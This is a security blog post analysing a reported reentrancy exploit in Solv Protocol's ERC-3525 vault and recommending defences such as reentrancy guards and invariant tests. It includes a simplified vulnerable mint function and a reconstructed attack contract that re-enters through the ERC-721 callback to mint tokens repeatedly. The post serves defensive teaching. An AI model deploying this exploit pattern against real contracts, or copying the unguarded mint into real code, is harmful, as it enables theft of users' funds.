DEV Community

ohmygod
ohmygod

Posted on

Solv Protocol's $2.7M ERC-3525 Reentrancy: How Semi-Fungible Tokens Created a Double-Minting Loophole

On March 5, 2026, an attacker turned 135 BRO tokens into 567 million — a 4.2-million-x inflation — by exploiting a reentrancy flaw in Solv Protocol's BitcoinReserveOffering vault. The haul: 38 SolvBTC worth approximately $2.7 million, laundered through RailGun within hours.

The exploit wasn't novel. Reentrancy has been draining DeFi since The DAO in 2016. What makes this case a masterclass in security failure is where the reentrancy lived: in the interaction between ERC-3525's semi-fungible token standard and ERC-721's mandatory callback mechanism — a blind spot that no auditor caught because the contract was never audited at all.

ERC-3525: The Standard Most Developers Don't Understand

Before dissecting the exploit, you need to understand what ERC-3525 actually does.

ERC-3525 is a semi-fungible token (SFT) standard. Unlike ERC-721 (unique NFTs) or ERC-20 (identical fungible tokens), ERC-3525 tokens have three dimensions:

  • Token ID (like ERC-721): Each token is uniquely identifiable
  • Value (like ERC-20): Each token carries a numeric value that can be split and merged
  • Slot: A grouping mechanism — tokens in the same slot can transfer value between each other
ERC-20:  [Amount]
ERC-721: [TokenID]
ERC-3525: [TokenID] + [Value] + [Slot]
Enter fullscreen mode Exit fullscreen mode

This makes ERC-3525 ideal for representing fractional positions in yield vaults, bonds, or structured products — exactly what Solv Protocol uses it for with their BRO (BitcoinReserveOffering) tokens.

The critical inheritance: ERC-3525 is built on top of ERC-721. Every ERC-3525 token is an ERC-721 token. This means all ERC-721 mechanics apply — including the onERC721Received callback during safe transfers.

The Vulnerable Minting Flow

Here's a simplified reconstruction of the BRO vault's minting logic:

contract BitcoinReserveOffering {
    IERC3525 public broToken;

    function mint(uint256 depositTokenId, uint256 amount) external {
        // Step 1: Transfer the ERC-3525 token into the vault
        broToken.safeTransferFrom(msg.sender, address(this), depositTokenId);

        // Step 2: Calculate minting amount based on deposit
        uint256 mintAmount = calculateMintAmount(amount);

        // Step 3: Mint BRO tokens to the depositor
        _mintBRO(msg.sender, mintAmount);

        // Step 4: Update internal accounting
        totalDeposited += amount;
    }
}
Enter fullscreen mode Exit fullscreen mode

The vulnerability chain:

  1. mint() calls safeTransferFrom() to ingest the depositor's ERC-3525 token
  2. Because ERC-3525 inherits ERC-721, safeTransferFrom() must call onERC721Received on the receiving contract
  3. The onERC721Received callback fires before mint() updates its internal state
  4. The attacker's contract receives the callback and re-enters mint() before step 4 completes
  5. The second mint() call sees stale state → mints tokens again for the same deposit
  6. When both calls unwind, the attacker has been minted tokens twice for a single deposit

The Attack Contract (Reconstructed)

contract SolvExploit {
    BitcoinReserveOffering public vault;
    IERC3525 public broToken;
    uint256 public attackCount;
    uint256 constant MAX_LOOPS = 22;

    function attack(uint256 tokenId) external {
        attackCount = 0;
        vault.mint(tokenId, broToken.valueOf(tokenId));
    }

    // This callback fires during safeTransferFrom inside mint()
    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata data
    ) external returns (bytes4) {
        if (attackCount < MAX_LOOPS) {
            attackCount++;
            uint256 newTokenId = broToken.mint(address(this), 1);
            vault.mint(newTokenId, 1);
        }
        return this.onERC721Received.selector;
    }
}
Enter fullscreen mode Exit fullscreen mode

The attacker looped this 22 times, inflating 135 BRO into ~567 million BRO, then swapped for 38.05 SolvBTC ($2.7M) and exited through RailGun.

Why the CEI Pattern Alone Wouldn't Have Saved This

The classic defense against reentrancy is the Checks-Effects-Interactions (CEI) pattern: update state before making external calls. But ERC-3525's inheritance from ERC-721 makes this tricky:

// "Fixed" version — but is it really?
function mint(uint256 depositTokenId, uint256 amount) external {
    // Effects first
    uint256 mintAmount = calculateMintAmount(amount);
    totalDeposited += amount;
    _mintBRO(msg.sender, mintAmount);

    // Interaction last
    broToken.safeTransferFrom(msg.sender, address(this), depositTokenId);
    // ^ But wait — the token hasn't been transferred yet when we mint!
    // This creates a different bug: minting without actual collateral
}
Enter fullscreen mode Exit fullscreen mode

The fundamental tension: you need to receive the deposit before you can credit the depositor, but the act of receiving triggers a callback that allows re-entry. This is why a reentrancy guard is the correct fix:

import "@openzeppelin/contracts/security/ReentrancyGuard.sol";

contract BitcoinReserveOffering is ReentrancyGuard {

    function mint(uint256 depositTokenId, uint256 amount) external nonReentrant {
        broToken.safeTransferFrom(msg.sender, address(this), depositTokenId);
        uint256 mintAmount = calculateMintAmount(amount);
        _mintBRO(msg.sender, mintAmount);
        totalDeposited += amount;
    }
}
Enter fullscreen mode Exit fullscreen mode

One modifier. One word. $2.7 million saved.

The Real Failure: Unaudited Contract in a $1B+ Protocol

The exploit was technically straightforward. What makes this incident damning is the operational failure:

  1. The contract was never audited. Solv Protocol's GitHub lists 5 audit firms, but the BRO vault contract wasn't in any audit scope.

  2. The bug bounty didn't cover it. Solv's HackenProof program only covered Web2 infrastructure and Solana contracts — the Ethereum BRO vault was explicitly excluded.

  3. ERC-3525's callback risk is documented. The EIP-3525 specification explicitly notes ERC-721 compatibility and the associated callback mechanics. Any auditor familiar with the standard would have flagged this.

  4. This was Solv's third security incident in 14 months. Their Twitter was compromised in January 2025, and they'd previously faced scrutiny over TVL accounting.

Defensive Patterns for ERC-3525 Implementations

If you're building with ERC-3525 (or any standard that inherits ERC-721), here's the security checklist:

1. Always Use ReentrancyGuard on Minting/Burning Functions

// Every function that transfers ERC-3525 tokens AND modifies state
function mint(...) external nonReentrant { ... }
function burn(...) external nonReentrant { ... }
function redeem(...) external nonReentrant { ... }
Enter fullscreen mode Exit fullscreen mode

2. Map Your Callback Surface

ERC-3525 inherits three callback paths from ERC-721:

  • safeTransferFrom()onERC721Received
  • safeTransferFrom(uint256, uint256, uint256) (value transfer) → may trigger custom hooks
  • transferFrom(uint256, address, uint256) (to new address) → onERC721Received if safe variant used

Document every external call in your contract that could trigger a callback. If it touches ERC-721/ERC-3525 tokens, assume reentrancy is possible.

3. Invariant Testing for Double-Mint

Write Foundry invariant tests that assert minting conservation:

function invariant_noDoubleMint() public {
    // Total minted BRO value should never exceed total deposits
    assertLe(
        broToken.totalSupply(),
        vault.totalDeposited() * MAX_MINT_RATIO,
        "Double mint detected: supply exceeds deposits"
    );
}
Enter fullscreen mode Exit fullscreen mode

4. Use transferFrom Instead of safeTransferFrom (When Safe)

If the receiving contract is your own vault (not an arbitrary address), you can skip the safe transfer callback entirely:

// No callback, no reentrancy vector
broToken.transferFrom(msg.sender, address(this), depositTokenId);
Enter fullscreen mode Exit fullscreen mode

This eliminates the onERC721Received callback — but only works when the receiver is a known contract that can handle the token.

5. Formal Verification of Token Conservation

For high-value vaults, use Halmos or Certora to prove that totalMinted <= f(totalDeposited) for all possible execution paths:

// Certora CVL
rule noInflation(uint256 tokenId, uint256 amount) {
    env e;
    uint256 supplyBefore = totalSupply();
    uint256 depositsBefore = totalDeposited();

    mint(e, tokenId, amount);

    assert totalSupply() - supplyBefore <= 
           (totalDeposited() - depositsBefore) * MAX_RATIO;
}
Enter fullscreen mode Exit fullscreen mode

The Broader Lesson: Token Standard Inheritance Is an Attack Surface

ERC-3525's design isn't flawed — it's powerful and well-specified. But its inheritance from ERC-721 creates implicit callback surfaces that developers who think in terms of "fungible value transfers" don't expect.

This pattern repeats across DeFi:

  • ERC-777 hooks enabling reentrancy in Uniswap V1
  • ERC-1155 onERC1155Received creating callback vectors in NFT marketplaces
  • ERC-4626 share inflation attacks through donation + callback timing

Every time a token standard mandates a callback, it opens a reentrancy window. The defense is always the same: guard every state-modifying function that interacts with external token contracts.

The $2.7 million question isn't why the attacker succeeded. It's why a protocol managing over a billion dollars in Bitcoin reserves deployed an unaudited contract without a reentrancy guard — a defense that's been standard practice since 2018.


DreamWork Security researches DeFi vulnerabilities and builds open-source security tools. Follow for deep dives into smart contract security, audit techniques, and defense patterns.

Top comments (0)